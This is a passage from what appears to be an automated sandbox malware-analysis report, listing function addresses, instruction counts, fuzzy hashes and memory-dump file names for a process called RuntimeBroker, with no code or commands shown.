Opcode Fuzzy Hash: 0936b92794f98d6218f0c29a6d4ff29f3cb8f3de5c05ab9730618d3cf6bdf867
Instruction Fuzzy Hash: 5471F470A2D54ECFEB65EB6488A46BD7BB4EF57300F1005BAD10ED71A2DA2C78499780

Function 00007FFD347D0FC5 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c25983e88d4a9d7a40cc33922a5e28ed28c3962157e5d8edb7fed471c547697
Instruction ID: 72648960b6f0c06233aa190ab9679f27946b08a9264a7bf6f28a519d2c71ecfd
Opcode Fuzzy Hash: 4c25983e88d4a9d7a40cc33922a5e28ed28c3962157e5d8edb7fed471c547697
Instruction Fuzzy Hash: F0516F70A1955D8FDB98EB18C4A0BB877F0FF56300F1441BAD10DE3291DA396985DF90

Function 00007FFD347D5107 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f80ef6a04d57ddb84698dbfda7a9d3cf608259f2fde144eccedfaf7d3a82d123
Instruction ID: 68dce1c3957c284349dcc3b0f1a68229fa59851a95999c05e74fb36fc4864df6
Opcode Fuzzy Hash: f80ef6a04d57ddb84698dbfda7a9d3cf608259f2fde144eccedfaf7d3a82d123
Instruction Fuzzy Hash: 0A41507260D9098FDF98FB18C4A5EA4B7E1FBA9314B04016AD04EC3292DE25FC45DB81

Function 00007FFD347DA157 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2da5d1b25b01acfb4c7cb89ba9adbbfdca254d4dc98ea587621280ba1f77514f
Instruction ID: d28297b130939de9d9417372d25b9dd390c519fc17e516a3b7f8663335352f0b
Opcode Fuzzy Hash: 2da5d1b25b01acfb4c7cb89ba9adbbfdca254d4dc98ea587621280ba1f77514f
Instruction Fuzzy Hash: B641553170C9488FDF98FF1CC4A5DA5B3E1FB69324B04016AD14AC7292DE29F845DB81

Function 00007FFD347DA201 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ade9179631be8f3d9f7363f7983c36979465f9055428916fd58580d5e1db873e
Instruction ID: 63f182aa27ef69a8914b1b409e29359cce84dc8ea3a1fb8733ed8c5bf8bf3f38
Opcode Fuzzy Hash: ade9179631be8f3d9f7363f7983c36979465f9055428916fd58580d5e1db873e
Instruction Fuzzy Hash: 4531643160C9488FDF99FF1CC4A5D6573E1FB69314B0401AAD44AC7292DE29F845CB81

Function 00007FFD347D51B1 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb36dc8aacfdb005786dbee14c63f507a1fe450422f20ea1d95a77c25fd0db77
Instruction ID: b566b83c0106b411e3ffd23fc7d2f430ab1f3afab891d48cc0802ad251a1d4a0
Opcode Fuzzy Hash: fb36dc8aacfdb005786dbee14c63f507a1fe450422f20ea1d95a77c25fd0db77
Instruction Fuzzy Hash: E7317E3160C9488FCB99FB18C4A5EA4B3E1FBA9314B0402AED04AC7292CE25FC45DB81

Function 00007FFD347D514B Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 144b195acf00f3a9c6f2e5a3147dd1accc3726441dedea85f6f263db179e8fb1
Instruction ID: 8cd973c37b4b8ed619cfb4610f1a16eba33c88d2a0fa667240dab3662347936f
Opcode Fuzzy Hash: 144b195acf00f3a9c6f2e5a3147dd1accc3726441dedea85f6f263db179e8fb1
Instruction Fuzzy Hash: C531507160C9498FDF98FF18C4A5EA4B3E1FBA9314B04016ED04EC7292DE29F845DB81

Function 00007FFD347DA19B Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8d3db3b13aadc1d867c6857e77af32d9bea8bbec681cafcead6f870345a64b2
Instruction ID: e14d8760ddfc7b59064ebfba2390fbd9b3814fce6d5536824344d8d9280f9224
Opcode Fuzzy Hash: a8d3db3b13aadc1d867c6857e77af32d9bea8bbec681cafcead6f870345a64b2
Instruction Fuzzy Hash: 1D31527170C9498FDF98FF2CC4A5EA5B3E1FBA9314B14016AD04AC7292DE29F845DB81

Function 00007FFD347D59A0 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c225c106873bd09d4e4681532fce1b9073909cfe56126a797e397744803dc1c
Instruction ID: 57e57720dd5423e8fb01075bb9ac634fc32e829f16a0212d59ebb1df1581b89b
Opcode Fuzzy Hash: 1c225c106873bd09d4e4681532fce1b9073909cfe56126a797e397744803dc1c
Instruction Fuzzy Hash: BE31D671B1D949CFE7E8DF2888A56B837D1FF4A351B04017ED54EC76A2DE28B8069780

Function 00007FFD347DD56D Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9486eb9bdc4c4a4d403f0b5836aaa6d12aed5d63a9ada7712f73562b99bcf79f
Instruction ID: 465bbf669435fa1a7667857b41c6933e149f1709d4c79d1c8156036455461325
Opcode Fuzzy Hash: 9486eb9bdc4c4a4d403f0b5836aaa6d12aed5d63a9ada7712f73562b99bcf79f
Instruction Fuzzy Hash: 9B312271B199099FDB44DA1CD8A19A9B7A2FF8A310B54413AD14ED3686CF38BC52C7C0

Function 00007FFD347D228B Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 588598658691a20030ff63e867c799d0f3c6ef506c04bafe71b8da18eeebcb65
Instruction ID: 5c90fb03c9828c90c158fc3124c1b7728af636edef8f0196a7cd5242db175e8b
Opcode Fuzzy Hash: 588598658691a20030ff63e867c799d0f3c6ef506c04bafe71b8da18eeebcb65
Instruction Fuzzy Hash: 6A31AD71B1990A8FDB44DB28C5E29A8F7A1FF5A320B014279D54ED7286CB28BC138780

Function 00007FFD347D06B1 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e797e9482f4aee0b0ef58a2553b9785fefa946cf4cef47021f50a56afbdd8b63
Instruction ID: 657b14997c735b17c8601e95c373bcf5d9d0a7c9ec25757b5cf172dce96e153e
Opcode Fuzzy Hash: e797e9482f4aee0b0ef58a2553b9785fefa946cf4cef47021f50a56afbdd8b63
Instruction Fuzzy Hash: 07318070E1E6CD9FDB51DB68C8A05AD7BB0FF4B314F0400BAC149E7192DA296809DB91

Function 00007FFD347D72BD Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a89a9f457e55f2c0319d8c81b87d6a59fb274550951e45903da9ee746fe94d33
Instruction ID: ea921443179797f4a230aa8ace275be8a13b4e2473677f2041472e2dd4a8f6f5
Opcode Fuzzy Hash: a89a9f457e55f2c0319d8c81b87d6a59fb274550951e45903da9ee746fe94d33
Instruction Fuzzy Hash: 63317071B0994A8FD744DB58D5E19A8F7A1FF46310B50427AD54ED3686CB28BD128BC0

Function 00007FFD347D0665 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8785caea2baebc6ed59d96132dca10c39bc7905be2f75b3235f144fd466e78d8
Instruction ID: a8027426b2b8fbac964968cf66cd9ac04181c9b82a3bea45c53340e777237eb3
Opcode Fuzzy Hash: 8785caea2baebc6ed59d96132dca10c39bc7905be2f75b3235f144fd466e78d8
Instruction Fuzzy Hash: 98318171E1E6C99FDB55DB68C8605ACBBB0FF5B314F0400BAC149EB192CA2D7809DB51

Function 00007FFD347DBB13 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 320808fd3711de92e888e3f0e667657871ccb836ec14f655983396d41d9edc95
Instruction ID: a2e9b319e5d99e6e0683fb173640c417536f4a32668b646b233570eec0c2e1bf
Opcode Fuzzy Hash: 320808fd3711de92e888e3f0e667657871ccb836ec14f655983396d41d9edc95
Instruction Fuzzy Hash: 832106A1A6F3C64FE3259634087A4F47FA0EF47310B0901BBD089C7093DD0D794A9392

Function 00007FFD347DD62A Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81cff813f076d31813210dba2c1d37bf908a0f1137c52282bec2cf55d0f12c97
Instruction ID: 94be3a04e3cc5b00a89e97ef88119d6b67938793a1644b7e8dc6f54ad1090ccc
Opcode Fuzzy Hash: 81cff813f076d31813210dba2c1d37bf908a0f1137c52282bec2cf55d0f12c97
Instruction Fuzzy Hash: F331E771B1DA498FE749D75888A26A8B7D1FF86350F44017AD24DC72C3DD69B80A87C1

Function 00007FFD343E1171 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3526531662.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd343e0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 850dffd457d738893e5bbb4619d6dccb0bb8212b178d9ae47580b840d9bb7b5b
Instruction ID: 1a9372a5d6792a57b69f4db79ec280f398b02194dc4dc564e7d210e5166e1eff
Opcode Fuzzy Hash: 850dffd457d738893e5bbb4619d6dccb0bb8212b178d9ae47580b840d9bb7b5b
Instruction Fuzzy Hash: D7319531A0D68A8FDF46EB64C8A59A97BF0EF57300B0905FBC009D7193DA7DA885C751

Function 00007FFD347D4F15 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3434794f8caa72abea5fb6414ce9be065329906ebe9166765b477e8b9a992495
Instruction ID: 70c259ca315e7ec35888717b45c91056bae666f85d5d5960bc9e94f5e7e646c5
Opcode Fuzzy Hash: 3434794f8caa72abea5fb6414ce9be065329906ebe9166765b477e8b9a992495
Instruction Fuzzy Hash: 58314CB0A2A54ECFEB98DB54C4A15BDB7B0FF46301F58017AD20ED61A1CB3C7844AB81

Function 00007FFD347D7393 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f0e88c87d70dc36a07a650ea19c6c12d4d603b6c5a0cae5a58836efc61f9ee9
Instruction ID: 5ad809d21cf387839dee193f6a7cb1e6227e0bd65827b4cf2820bcbb37d357a8
Opcode Fuzzy Hash: 7f0e88c87d70dc36a07a650ea19c6c12d4d603b6c5a0cae5a58836efc61f9ee9
Instruction Fuzzy Hash: 11212560B1E6898FEB4AE76898A22E87B91FF57310F14017DC54DC72C3DA1CB80A83C0

Function 00007FFD347D8E50 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f5f715ecbecd5005d80312a67e82ed21f639bbe9b58b7f6be9cecbb430faeb6
Instruction ID: a51bee530aa494d66670e5031ff8b41d60c58f757b3a8396a416dcc3ba444a4a
Opcode Fuzzy Hash: 1f5f715ecbecd5005d80312a67e82ed21f639bbe9b58b7f6be9cecbb430faeb6
Instruction Fuzzy Hash: C6317250A3E4D6CEE72E931488F05B47B52DF83305B1D45B6D1A6CB4E7C52C748AA7C1

Function 00007FFD347D3E00 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c383e72225d3e77e83ac189466af807c910af6ac9f69a1d8eceb180d2749678c
Instruction ID: 7a26a000526fd11fc70f13801ee759362744a1500f8dd0af325b6e835a87e519
Opcode Fuzzy Hash: c383e72225d3e77e83ac189466af807c910af6ac9f69a1d8eceb180d2749678c
Instruction Fuzzy Hash: D9315E61A2E496CBE365D32844B05747B91EF43300B1843BAD19BCB0C7C41DB849F3C1

Function 00007FFD347DCFE3 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79f43a171f85301b1bf4f2879f95d9484fd4500366a877e2014daad4cf1f60b9
Instruction ID: 97963a782c6c8e7da90b7fea5f74a017cacafc9835e226399ca9c6c1d38c2fa8
Opcode Fuzzy Hash: 79f43a171f85301b1bf4f2879f95d9484fd4500366a877e2014daad4cf1f60b9
Instruction Fuzzy Hash: 0B21B271B1964DCFDB98DB1898A56B977E1FF8A311F44017ED14FC3191CB28AC458B80

Function 00007FFD347D6252 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b93b7f9961a1a92099b797aecb06ba9757a9f6aa4aeb0036eca53e2277501c2e
Instruction ID: 4e11c24b298c5ca61d1eb5f1103f808735ed072e5f7bd4d027bba9f8573ddff5
Opcode Fuzzy Hash: b93b7f9961a1a92099b797aecb06ba9757a9f6aa4aeb0036eca53e2277501c2e
Instruction Fuzzy Hash: F821D971A1891D8FDF99EB58C8A5AEDB3B1FF59311F0041AAD00EE7291CA39A9418B40

Function 00007FFD347D5708 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1306d0f2e9d27c0eaa6cbaf1a6c9d24b1d6795a6561733b24139f95434a729d
Instruction ID: dd2b763d6ec1b6b8b6f23ad23b33b8ff4fb229ba362ed7b0038c443d078125df
Opcode Fuzzy Hash: c1306d0f2e9d27c0eaa6cbaf1a6c9d24b1d6795a6561733b24139f95434a729d
Instruction Fuzzy Hash: FC216D71E2994ECFDBD4DB58D8A05EDBBB5FF4A350F60013AD10AE3281CA287805DB94

Function 00007FFD347DC502 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fc7714f2decc0a5f50146ee18cbd594475dce6526f597548217e224b3191aa4
Instruction ID: 922f88f3e0a1cc87a1d10e6b13c2533ff85d375b20886a27f5ca53edcb7e53cd
Opcode Fuzzy Hash: 0fc7714f2decc0a5f50146ee18cbd594475dce6526f597548217e224b3191aa4
Instruction Fuzzy Hash: 5F210870E1891D8FDF98DB58C8A5AEDB3B1FF99300F1041AAD00EE3291CE39A941CB40

Function 00007FFD347DC79A Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a41e6a184563a678eec5dec9cb6acad0375b1008ebb5a05ffb84a5f4a770fd6d
Instruction ID: 1c6fbcec12671adc205edb1dc2fb8f046d713b00798b36f007ce514c51e75cca
Opcode Fuzzy Hash: a41e6a184563a678eec5dec9cb6acad0375b1008ebb5a05ffb84a5f4a770fd6d
Instruction Fuzzy Hash: 5421E13190968DCFDB45EB24C8A4AE47BB0EF47300F1400FAD10DD7192CA39AA89DB90

Function 00007FFD347D64EB Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a51f671693e1cec08dfee2b3fa5be8064309e1466f54d53b2d68f4492dc27ac7
Instruction ID: 7bd373a5acc42c45b26dd99b3d39719f3a3bcdf3bae866533b65aa756df4e503
Opcode Fuzzy Hash: a51f671693e1cec08dfee2b3fa5be8064309e1466f54d53b2d68f4492dc27ac7
Instruction Fuzzy Hash: 4121E73190D68CCFCB66EB24C8A4AD47BB0EF57314F0400EAD40ED71A5CA396A89CB51

Function 00007FFD347D1222 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24d998778db794bcf258d7de0eaf373fd7c2e0456a645f63d1dac666a43ef721
Instruction ID: 0e63f144fc0f531e706bd8cb8b2738873d7bf8da5b4a4ab258a2a9982c03b4ae
Opcode Fuzzy Hash: 24d998778db794bcf258d7de0eaf373fd7c2e0456a645f63d1dac666a43ef721
Instruction Fuzzy Hash: 2421B771E1991D9FDF98EB58C4A5AEDB7F1FF69300F0401AAD14EE3291CA39A941CB40

Function 00007FFD347D64EA Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c2aa1a29bfd46eb6af2c31e2d7112d57ded08c6d433770766464420d5feec8a
Instruction ID: 22489d9c6b00859f2fa467e6c1f1613ce7d232777e5c818a4ada74f84b7d39d3
Opcode Fuzzy Hash: 3c2aa1a29bfd46eb6af2c31e2d7112d57ded08c6d433770766464420d5feec8a
Instruction Fuzzy Hash: 4521D63190D68CCFCB56EB24C8A4AD87BB0EF57304F0400EAD40ED71A1CA39AA89CB51

Function 00007FFD347DD047 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab5db99e73852259c5e31a2c4666ed3bb5578cb6bab960626a4a1e660606a3a1
Instruction ID: 460166f1b0b696c3c45afed6aa763432a800faaa45a109047927b7145965cd48
Opcode Fuzzy Hash: ab5db99e73852259c5e31a2c4666ed3bb5578cb6bab960626a4a1e660606a3a1
Instruction Fuzzy Hash: 49114271708A1C8FDB98DF18D895AA9B7E2FF99311B1042AED04ED7262CB31AC45CB40

Function 00007FFD343F4275 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3526531662.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd343f0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3444e8bef89bef208355363ebeed27c7263569bd14d954f72308ebf7e0b8407e
Instruction ID: 9f1f5efb4278fd238d30035df09bb641d39872090a34c411428f5d3ac4b29f98
Opcode Fuzzy Hash: 3444e8bef89bef208355363ebeed27c7263569bd14d954f72308ebf7e0b8407e
Instruction Fuzzy Hash: 4B215E72F5C51B8BEB54AB98D8A56BE77E1BF71300F00053AD219D7281DF7C6901A780

Function 00007FFD347D8E80 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b016b29eca20a8753af0ef180432d0297fb8ec2972164152bb23818bb9ea36a
Instruction ID: 15b6f4c45c28bcaa5776f6b11acaecbf68ae05f6af33d96cae593cecd3a7343f
Opcode Fuzzy Hash: 4b016b29eca20a8753af0ef180432d0297fb8ec2972164152bb23818bb9ea36a
Instruction Fuzzy Hash: 3A11EB50A3D46BCAE67D9208C4F05B47253EF93305F194675D56BCB4D6C92CB889B6C0

Function 00007FFD347D3E30 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 468b2d1ab4050b7ac4df153fe7dc69c02d7298f9f55c2f72d03ebb3b99d82793
Instruction ID: e12c9bfe9efb8caaad27af82e8695968193816dee0ad6580ff3096172a946d89
Opcode Fuzzy Hash: 468b2d1ab4050b7ac4df153fe7dc69c02d7298f9f55c2f72d03ebb3b99d82793
Instruction Fuzzy Hash: E411D870A3D46AC6E668D62890F09B47291EB53301B144779D19BC70C6C82DB885B7C0

Function 00007FFD347D21C9 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3534445171.00007FFD347D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd347d0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67e24863148056681b450d183fc58f273b4fbce013c58fa89889a46558f0aac1
Instruction ID: 7639ce535baba0c68bc3acda4c6b0954de52beb51aee2c2d26d0dac68268b1d5
Opcode Fuzzy Hash: 67e24863148056681b450d183fc58f273b4fbce013c58fa89889a46558f0aac1
Instruction Fuzzy Hash: 7B117B71B0F7899FE711C66058A41EA3791EF1B300F04017AE509D7182DE6C780B93D1

Function 00007FFD343E0C25 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3526531662.00007FFD343E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd343e0000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 961c50ecccd3a12d2b19c0ff3538334bf9a6a743cc42c1b007991df2e60fdb71
Instruction ID: 3179053f7924f98de58a280fd3995a62d8c3f2816112d9a674ec7d7833f2bf34
Opcode Fuzzy Hash: 961c50ecccd3a12d2b19c0ff3538334bf9a6a743cc42c1b007991df2e60fdb71
Instruction Fuzzy Hash: 9A210432B0E2998FE312EB6898A51DE7FB0EF43324F1845B7C280DB1D2D538158A9781

Function 00007FFD34546062 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3530811333.00007FFD34540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd34540000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e9b9f1302ec387f0ef6958cb293a645ab21fdd52d44d9a80e6a5c10575249f4
Instruction ID: 92b305c43c9d76f8ec20c58517f73a118594d1bb27f96708f7f60f1153d9ffa7
Opcode Fuzzy Hash: 7e9b9f1302ec387f0ef6958cb293a645ab21fdd52d44d9a80e6a5c10575249f4
Instruction Fuzzy Hash: 7C2168B1E099494FDFDCEB0884B5AA4B7E1FB59304B0441BFD14DE7292CE3968859B01

Function 00007FFD347DCFEC Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

